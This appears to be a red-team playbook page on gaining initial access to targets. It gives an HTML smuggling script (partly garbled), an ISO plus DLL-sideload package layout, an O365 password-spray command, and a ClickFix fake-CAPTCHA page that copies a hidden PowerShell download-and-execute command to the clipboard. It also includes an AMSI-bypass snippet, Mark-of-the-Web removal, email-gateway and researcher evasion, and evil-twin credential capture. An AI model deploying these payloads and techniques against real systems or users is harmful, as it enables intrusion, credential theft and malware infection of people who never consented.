Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation
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Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation
<!-- Construct binary blob in JavaScript, trigger download --><html><body><script>functionsmuggle() {
var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PEvar blob = newBlob([newUint8Array([...bin].map(c=>c.charCodeAt(0)))],
{: });
url = .(blob);
a = .();
a. = url;
a. = ;
a.();
}
();
Loading document...
type
'application/octet-stream'
var
URL
createObjectURL
var
document
createElement
'a'
href
download
'Report_Q4_2026.iso'
click
smuggle
</script>
<p>
</p>
</body>
</html>
ISO/IMG Container (MOTW Bypass)
# Structure inside ISO:
├── Report.lnk # Shortcut that executes the DLL
├── legitimate.exe # Signed binary vulnerable to DLL sideload
└── payload.dll # Malicious DLL loaded by legitimate.exe
# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen
Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.
OneNote (.one) Payload
# Embed .bat/.hta behind fake "Double click to view" image
# User double-clicks → executes embedded script
# Effective because OneNote files are rarely blocked by email gateways
DLL Sideloading
# Find legitimate signed EXE that loads DLL from CWD:# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack# 3. Place malicious DLL alongside legitimate EXE in delivery package# Popular sideload targets:# - Microsoft Teams: ffmpeg.dll# - OneDrive: secur32.dll# - Slack: libEGL.dll# - VS Code: wlanapi.dll (portable mode)
Credential-Based Access
Credential Stuffing
# Use breach databases to test against target services# Tools: Hydra, Burp Intruder, custom scripts# Targets: VPN portals, OWA, O365, Citrix, RDP# O365 password spray (avoid lockout: 1 attempt per user per hour)# Tools: MSOLSpray, Ruler, MailSniper
python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com
# Common patterns to try:# Season+Year: Summer2026!, Winter2025!# Company+digits: CompanyName1!, Corp2026## Month+Year: May2026!, January2026!
Stage 0 (Loader) — extremely light (<30KB), FUD
├── Self-contained, no external dependencies
├── Only job: download/extract/inject Stage 1
├── NOT .exe (use .dll sideload, .hta, .lnk+script)
└── Must bypass email gateway + endpoint AV
Stage 1 (Minimal Implant) — lightweight C2
├── 5-6 commands: ls, whoami, pwd, download, upload, execute
├── Persistent (registry, scheduled task)
├── FUD (may touch disk)
└── Used to deploy Stage 2 after recon
Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
├── Full post-exploitation capability
├── In-memory only (never written to disk)
├── Deployed after AV/EDR assessment
└── Replace Stage 1 persistence with Stage 2
OPSEC for Initial Access
Warm up phishing domain 2+ weeks before engagement
Use legitimate email services (O365, Google Workspace) for sending
Limit number of GET elements and parameter names in URLs
Test payload against target's email gateway (if possible, get sample config)
Use HTTPS for all payload hosting
Kill date on all payloads (auto-destruct after engagement window)
Separate infrastructure per engagement phase (phishing ≠ C2)
Monitor for blue team interaction with your infrastructure
Delivery Alternatives
# QR code to attacker-controlled site (bypasses email URL scanning)
# Legitimate file-sharing links (OneDrive, Google Drive, Dropbox)
# Vishing (voice phishing) → guide target to download payload
# USB drop (physical access scenarios)
# Watering hole (compromise site frequented by targets)
# LinkedIn/social media DM with "job offer" document
Advanced: Modern Payload Delivery (2024-2026)
ClickFix / Fake CAPTCHA
<!-- Social engineering: fake CAPTCHA that tricks user into running commands --><!-- User sees "Verify you are human" → copies PowerShell command to clipboard --><!-- Then instructed to press Win+R and paste --><divclass="captcha-container"><h2>Verify you are human</h2><p>Press Win+R, then Ctrl+V, then Enter</p><buttononclick="copyPayload()">I'm not a robot</button></div><script>functioncopyPayload() {
navigator.clipboard.writeText(
'powershell -w hidden -ep bypass -c "IEX(IWR https://cdn.legit-looking.com/update.ps1)"'
);
document.querySelector('.captcha-container').innerHTML =
'<p>✓ Verification step 2: Press Win+R, paste (Ctrl+V), press Enter</p>';
}
</script>
Search Engine Optimization (SEO) Poisoning
# Compromise or create sites that rank for targeted searches
# Target: "download [software] free", "[tool] crack", "[error] fix"
# User searches → finds malicious site → downloads trojanized installer
# Technique:
# 1. Register domain similar to legitimate software site
# 2. SEO optimize for target keywords
# 3. Host trojanized installer (legitimate software + payload)
# 4. Payload executes silently during "installation"
# Targeted variant (watering hole):
# 1. Identify sites frequented by target organization
# 2. Compromise site (or buy ad space)
# 3. Serve exploit/payload only to visitors from target IP range
# 4. Use browser fingerprinting to avoid researchers
Malvertising (Ad-Based Delivery)
# Buy ads on legitimate platforms → redirect to exploit kit or fake download
# Targeting: geo, industry, job title, interests
# Evasion: cloaking (show benign content to ad reviewers, malicious to targets)
# Flow:
# 1. User clicks ad (or ad auto-redirects)
# 2. Landing page fingerprints browser/OS
# 3. If target matches: serve exploit or fake update prompt
# 4. If researcher/bot: serve benign content
# Google Ads abuse:
# - Bid on brand keywords (e.g., "download putty")
# - Ad appears above legitimate result
# - Links to typosquatted domain with trojanized download
Teams/Slack Message Delivery
# Microsoft Teams external messaging (if enabled):
# - Send message with malicious link/file from external tenant
# - Appears as legitimate business communication
# - Bypasses email gateway entirely
# Technique:
# 1. Create legitimate-looking M365 tenant
# 2. Send Teams message to target (external access often enabled)
# 3. Include: "shared document" link → credential phishing
# 4. Or: file attachment (if allowed) → payload delivery
# Slack:
# - Slack Connect allows cross-org messaging
# - Shared channels can be used for payload delivery
# - Webhook abuse: if webhook URL leaked → inject messages
Advanced: Evasion Techniques for Delivery
Email Gateway Bypass
# Techniques to bypass Proofpoint, Mimecast, Microsoft Defender for O365:
# 1. Delayed payload (time-bomb URL)
# - Send email with link to benign page
# - After email passes scanning: change page to malicious
# - Gateway scanned at delivery time → clean
# - User clicks hours later → malicious
# 2. CAPTCHA-gated payload
# - Link goes to page with CAPTCHA
# - Automated scanners can't solve CAPTCHA → see benign page
# - Human user solves → gets payload
# 3. QR code in email body
# - Many gateways don't scan QR codes in images
# - QR points to phishing page or payload download
# - User scans with phone → bypasses corporate proxy too
# 4. Legitimate file-sharing services
# - Upload payload to OneDrive/SharePoint/Google Drive
# - Share link in email
# - Gateway trusts Microsoft/Google URLs
# - Some gateways now scan shared files — use password protection
# 5. Reply-chain hijacking
# - Compromise mailbox → reply to existing thread
# - Recipients trust the context of ongoing conversation
# - Attachment/link in reply seems natural
Endpoint Protection Bypass
# SmartScreen bypass (Windows):# - Sign payload with valid code signing certificate (EV cert = auto-trust)# - Use file types that don't trigger SmartScreen (.msi with valid sig)# - Deliver via ISO/VHD (MOTW not propagated on older Windows)# AMSI bypass for PowerShell delivery:# Patch amsi.dll in memory before loading payload$a=[Ref].Assembly.GetTypes()|?{$_.Name -like "*iUtils"}
$b=$a.GetFields('NonPublic,Static')|?{$_.Name -like "*Context"}
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# Mark-of-the-Web removal:# Files from internet get Zone.Identifier ADS# Remove: streams.exe -d file.exe# Or: copy file through pipe: type file.exe > clean.exe# Or: deliver inside container (ISO/VHD/7z) that strips MOTW
Advanced: Physical Access Vectors
USB-Based Attacks
# Rubber Ducky / BadUSB# Device appears as keyboard → types commands at HID speed# Payload: open PowerShell → download and execute# USB Armory / LAN Turtle# Device appears as network adapter → MITM all traffic# Respond to LLMNR/NBT-NS → capture NTLM hashes# Bash Bunny# Multi-function: storage + HID + network# Exfiltrate files, inject keystrokes, network attacks# O.MG Cable# Looks like normal USB cable → contains WiFi-enabled implant# Remote command execution via WiFi connection to cable
WiFi-Based Initial Access
# Evil Twin for corporate WiFi:# 1. Clone corporate SSID (WPA Enterprise)# 2. Use hostapd-wpe to capture RADIUS credentials# 3. Crack MSCHAPv2 challenge/response# 4. Use credentials for VPN/email/internal access
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Captures: username + challenge + response
asleap -C CHALLENGE -R RESPONSE -W wordlist.txt
# Rogue AP for credential capture:# 1. Create open AP with captive portal# 2. Portal mimics corporate SSO login# 3. Capture credentials when users "authenticate"
